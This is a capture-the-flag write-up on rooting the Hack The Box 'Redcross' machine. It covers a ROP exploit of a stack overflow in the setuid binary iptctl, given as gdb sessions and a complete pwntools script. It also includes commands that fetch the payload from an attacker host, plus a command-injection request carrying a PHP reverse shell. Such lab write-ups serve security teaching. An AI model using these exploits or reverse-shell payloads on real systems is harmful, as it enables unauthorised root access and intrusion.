HTB Redcross local root (basic rop)
April 13, 2019
Warmup post about the alternative way of rooting the Redcross box.
Target binary:
iptctl: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped
> source was also available on the host: /var/jail/home/public/src/iptctl.c
Ideally we could easily reach the vulnerable part of the code:
if(argc==2){
if(strstr(argv[1],"-i")) interactive(inputAddress, inputAction, argv[0]);
}
else{
strcpy(inputAction, argv[1]);
strcpy(inputAddress, argv[2]);
}
..but let’s pick the other way.
recon
The interactive()
function looks interesting:
void interactive(char *ip, char *action, char *name){
char inputAddress[16];
char inputAction[10];
printf("Entering interactive mode\n");
printf("Action(allow|restrict|show): ");
fgets(inputAction,BUFFSIZE,stdin);
fflush(stdin);
printf("IP address: ");
fgets(inputAddress,BUFFSIZE,stdin);
fflush(stdin);
inputAddress[strlen(inputAddress)-1] = 0;
if(! isValidAction(inputAction) || ! isValidIpAddress(inputAddress)){
printf("Usage: %s allow|restrict|show IP\n", name);
exit(0);
}
strcpy(ip, inputAddress);
strcpy(action, inputAction);
return;
}
Fortunately, the strstr()
was used to validate the action:
int isValidIpAddress(char *ipAddress)
{
struct sockaddr_in sa;
int result = inet_pton(AF_INET, ipAddress, &(sa.sin_addr));
return result != 0;
}
int isValidAction(char *action){
int a=0;
char value[10];
strncpy(value,action,9);
if(strstr(value,"allow")) a=1;
if(strstr(value,"restrict")) a=2;
if(strstr(value,"show")) a=3;
return a;
}
also, it seems that we have a freebie from the chall author (let’s keep it in mind for later):
if(child_pid==0){
setuid(0);
execvp(args[0],args);
exit(0);
}
bypassing aslr & nx
We can quickly try the PoC and attempt to crash the binary:
penelope@redcross:~$ python -c 'print "allow" + "A"*29 + "\n" + "127.0.0.1"' | /opt/iptctl/iptctl -i
Entering interactive mode
Segmentation fault
The idea is very simple: craft payload which will bypass the initial checks (valid action and valid ip address) and then ROP using the freebies that are already in the code.
gef➤ checksec
[+] checksec for '/home/vagrant/share/iptctl'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
penelope@redcross:~$ cat /proc/sys/kernel/randomize_va_space
2
We are dealing with 64bit
binary, stack is not executable and ASLR
is on.
Luckily, the binary was compiled without PIE
enabled, which will prove to be very useful later on.
I’ve started with copying the binary to my local vm (Ubuntu 18.04); at this point I didn’t care too much about the libc on the target machine. Let’s replicate the PoC in the gdb:
gef➤ disass interactive
(..)
0x0000000000400b44 <+245>: call 0x4006f0 <strcpy@plt>
0x0000000000400b49 <+250>: lea rdx,[rbp-0x1a]
0x0000000000400b4d <+254>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400b51 <+258>: mov rsi,rdx
0x0000000000400b54 <+261>: mov rdi,rax
0x0000000000400b57 <+264>: call 0x4006f0 <strcpy@plt>
0x0000000000400b5c <+269>: nop
0x0000000000400b5d <+270>: leave
0x0000000000400b5e <+271>: ret
End of assembler dump.
gef➤ b * interactive+271
Breakpoint 1 at 0x400b5e
gef➤ r -i < <(python -c 'from pwn import *; print "allow" + "A"*29 + p64(0xdeadbeef) + "\n" + "127.0.0.1"')
(..)
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
───────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/gx $rsp
0x7fffffffe378: 0x00000000deadbeef
gef➤ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
We have full control over rip
register.
We already know that binary contains useful functions such as setuid()
and execvp()
and it’s not Position Independed Executable (PIE)
- what does it mean for us?
In my vm I’ve compiled two versions, with and without PIE
enabled:
$ gcc -pie -fpie -o iptctl-pie iptctl.c
$ gcc -no-pie -fno-pie -o iptctl-nopie iptctl.c
nopie
version gives the actual runtime load address of the main()
function, whereas, PIE
enabled one returns the offset:
$ readelf -s ./iptctl-nopie | grep main
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
60: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
75: 0000000000400c6c 650 FUNC GLOBAL DEFAULT 14 main
$ readelf -s ./iptctl-pie | grep main
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
60: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
75: 0000000000000ed6 670 FUNC GLOBAL DEFAULT 14 main
and at runtime:
$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x main' ./iptctl
Temporary breakpoint 1 at 0x400b63
Temporary breakpoint 1, 0x0000000000400b63 in main ()
0x400b5f <main>: 0xe5894855
$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x main' ./iptctl
Temporary breakpoint 1 at 0x400b63
Temporary breakpoint 1, 0x0000000000400b63 in main ()
0x400b5f <main>: 0xe5894855
# PIE Enabled
$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x main' ./iptctl-pie
Temporary breakpoint 1 at 0xeda
Temporary breakpoint 1, 0x00005591231a5eda in main ()
0x5591231a5ed6 <main>: 0xe5894855
$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'info proc map' -ex 'x main' ./iptctl-pie
Temporary breakpoint 1 at 0xeda
Temporary breakpoint 1, 0x000055c295cdeeda in main ()
process 3735
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x55c295cde000 0x55c295ce0000 0x2000 0x0 /tmp/iptctl-pie
0x55c295edf000 0x55c295ee0000 0x1000 0x1000 /tmp/iptctl-pie
0x55c295ee0000 0x55c295ee1000 0x1000 0x2000 /tmp/iptctl-pie
0x7f082a4ab000 0x7f082a66b000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f082a66b000 0x7f082a86b000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f082a86b000 0x7f082a86f000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f082a86f000 0x7f082a871000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f082a871000 0x7f082a875000 0x4000 0x0
0x7f082a875000 0x7f082a89b000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f082aa86000 0x7f082aa89000 0x3000 0x0
0x7f082aa9a000 0x7f082aa9b000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f082aa9b000 0x7f082aa9c000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f082aa9c000 0x7f082aa9d000 0x1000 0x0
0x7fff83cf3000 0x7fff83d14000 0x21000 0x0 [stack]
0x7fff83daf000 0x7fff83db2000 0x3000 0x0 [vvar]
0x7fff83db2000 0x7fff83db4000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
0x55c295cdeed6 <main>: 0xe5894855
$ printf "0x%x\n" $((0x55c295cde000+0xed6))
0x55c295cdeed6
.. which basically means that on runtime PIE
compiled binary randomises the program data and executable memory of the binary making return oriented programming attacks more difficult but not impossible (offset2lib1).
at runtime
main()
would be @randomised binary base address + offset
Luckily for us, addresses of the setuid()
and execve()
will be static on each execution.
0x0000000000400d00 <+417>: call 0x400780 <setuid@plt>
0x0000000000400d05 <+422>: mov rax,QWORD PTR [rbp-0x80]
0x0000000000400d09 <+426>: lea rdx,[rbp-0x80]
0x0000000000400d0d <+430>: mov rsi,rdx
0x0000000000400d10 <+433>: mov rdi,rax
0x0000000000400d13 <+436>: call 0x400760 <execvp@plt>
What is more, binary itself contains 'sh'
string:
gef➤ search-pattern "sh"
[+] Searching 'sh' in memory
[+] In '/home/vagrant/share/iptctl'(0x400000-0x402000), permission=r-x
0x40046e - 0x400470 → "sh"
gef➤ x/s 0x40046e
0x40046e: "sh"
We don’t care about the libc on the target system, we have all that we need to perform:
setuid(0)
execvp("sh",NULL)
basic rop chain
To achieve that, we will need a few gadgets. Knowing the calling convention for x64 let’s start with jumping to setuid(0)
> We need to control rdi and rsi registers to perform our setuid()+execvp()
> x64 calling convention:
> rdi - 1st argument
> rsi - 2nd
> (..)
# Let's look for the gadgets using ropper:
gef➤ ropper --search 'pop r?i'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r?i
[INFO] File: /home/vagrant/share/iptctl
0x0000000000400de3: pop rdi; ret;
0x0000000000400de1: pop rsi; pop r15; ret;
# setuid(0):
payload = ''
payload += [pop rdi; ret]
payload += [0]
payload += [setuid]
# execvp("sh",NULL):
payload += [pop rdi; ret]
payload += ["sh" addr]
payload += [pop rsi; pop r15; ret]
payload += [NULL]
payload += [NULL]
payload += [execvp]
gef➤ b * 0x400780 # setuid()
Breakpoint 2 at 0x400780
gef➤ b * interactive+271
Breakpoint 3 at 0x400b5e
gef➤ r -i < <(python -c 'from pwn import *; print "allow" + "A"*29 + p64(0x400de3) + p64(0) + p64(0x400780) + "\n" + "127.0.0.1"')
The interactive()
function will return and hit our gadget, the rdi
register will be set to 0
and then we will jump to the setuid()
:
→ 0x400b5e <interactive+271> ret
↳ 0x400de3 <__libc_csu_init+99> pop rdi
0x400de4 <__libc_csu_init+100> ret
0x400de5 nop
0x400de6 nop WORD PTR cs:[rax+rax*1+0x0]
0x400df0 <__libc_csu_fini+0> repz ret
0x400df2 add BYTE PTR [rax], al
───────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b5e → interactive()
[#1] 0x400de3 → __libc_csu_init()
[#2] 0x400780 → exit@plt()
──────────────────────────────────────────────────────────────────────────────────────
gef➤ x/3gx $rsp
0x7fffffffe378: 0x0000000000400de3 0x0000000000000000
0x7fffffffe388: 0x0000000000400780
gef➤ c
(..)
→ 0x400780 <setuid@plt+0> jmp QWORD PTR [rip+0x2018e2] # 0x602068
0x400786 <setuid@plt+6> push 0xa
0x40078b <setuid@plt+11> jmp 0x4006d0
0x400790 <fork@plt+0> jmp QWORD PTR [rip+0x2018da] # 0x602070
0x400796 <fork@plt+6> push 0xb
0x40079b <fork@plt+11> jmp 0x4006d0
───────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400780 → setuid@plt()
──────────────────────────────────────────────────────────────────────────────────────
gef➤ p $rdi
$1 = 0x0
We are successfully calling setuid(0)
- what is left is to properlly call the execvp('sh',NULL)
function:
gef➤ b * 0x400780
Breakpoint 1 at 0x400780
gef➤ b * interactive+271
Breakpoint 2 at 0x400b5e
gef➤ r -i < <(python -c 'from pwn import *; print "allow" + "A"*29 + p64(0x400de3) +
p64(0) + p64(0x400780) + p64(0x400de3) + p64(0x40046e) + p64(0x400de1) + p64(0) + p64(0) + p64(0x400760) + "\n" + "127.0.0.1"')
(..)
→ 0x400760 <execvp@plt+0> jmp QWORD PTR [rip+0x2018f2] # 0x602058
0x400766 <execvp@plt+6> push 0x8
0x40076b <execvp@plt+11> jmp 0x4006d0
0x400770 <exit@plt+0> jmp QWORD PTR [rip+0x2018ea] # 0x602060
0x400776 <exit@plt+6> push 0x9
0x40077b <exit@plt+11> jmp 0x4006d0
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "iptctl", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400760 → execvp@plt()
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/s $rdi
0x40046e: "sh"
gef➤ i r $rsi
rsi 0x0 0x0
gef➤ c
Continuing.
process 3876 is executing new program: /bin/dash
Simple PoC:
# HTB Redcross local root exploit :: adamm
from pwn import *
e = ELF('./iptctl', checksec=False)
setuid = e.plt['setuid']
execvp = e.plt['execvp']
sh = 0x40046e
p = process(['./iptctl','-i'])
info("setuid.plt @ %s" % hex(setuid))
info("execvp.plt @ %s" % hex(execvp))
info("'sh' @ %s" % hex(sh))
payload = "allow"
payload += "A"*29
# setuid(0)
payload += p64(0x400de3) # pop rdi; ret
payload += p64(0)
payload += p64(setuid)
# execvp("sh",NULL)
payload += p64(0x400de3) # pop rdi; ret
payload += p64(sh) # 'sh' string from the binary
payload += p64(0x400de1) # pop rsi; pop r15; ret
payload += p64(0) # rsi
payload += p64(0) # r15
payload += p64(execvp)
# no pwnlib on remote host, generate payload on your box
f = open("/tmp/payload","w")
f.write(payload+"\n127.0.0.1\n")
f.close()
info("payload written to '/tmp/payload'")
p.sendline(payload)
p.recv()
p.sendline("127.0.0.1") # trigger
p.interactive()
PoC in the vm:
[~/share]$ python exploit.py
[+] Starting local process '/tmp/iptctl': pid 3779
[*] setuid.plt @ 0x400780
[*] execvp.plt @ 0x400760
[*] 'sh' @ 0x40046e
[*] payload written to '/tmp/payload'
[*] Switching to interactive mode
$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),123(docker)
$
Let’s test it against the target binary:
penelope@redcross:~$ /opt/iptctl/iptctl -i < <(wget -q -O- http://10.10.14.20:8000/p; cat)
Entering interactive mode
whoami
root
cat /root/root.txt
892a1f(..)
bonus
There was unintended command injection vulnerability in the admin panel:POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://admin.redcross.htb/?page=firewall
Content-Type: application/x-www-form-urlencoded
Content-Length: 321
Cookie: PHPSESSID=hk6c2h5tqrdp820tjs4juimti1
Connection: close
Upgrade-Insecure-Requests: 1
ip=127.0.0.1%26php+-r+'$sock%3dfsockopen("10.10.14.11",4444)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b';AAAAAAAA&id=12&action=deny
So in fact, we could get root shell directly from www-data
Ncat: Connection from 10.10.10.113:41000.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ (curl http://10.10.14.20:8000/p 2>/dev/null; cat) | /opt/iptctl/iptctl -i
id
uid=0(root) gid=33(www-data) egid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
892a1f(..)
That’s it! Thanks for reading.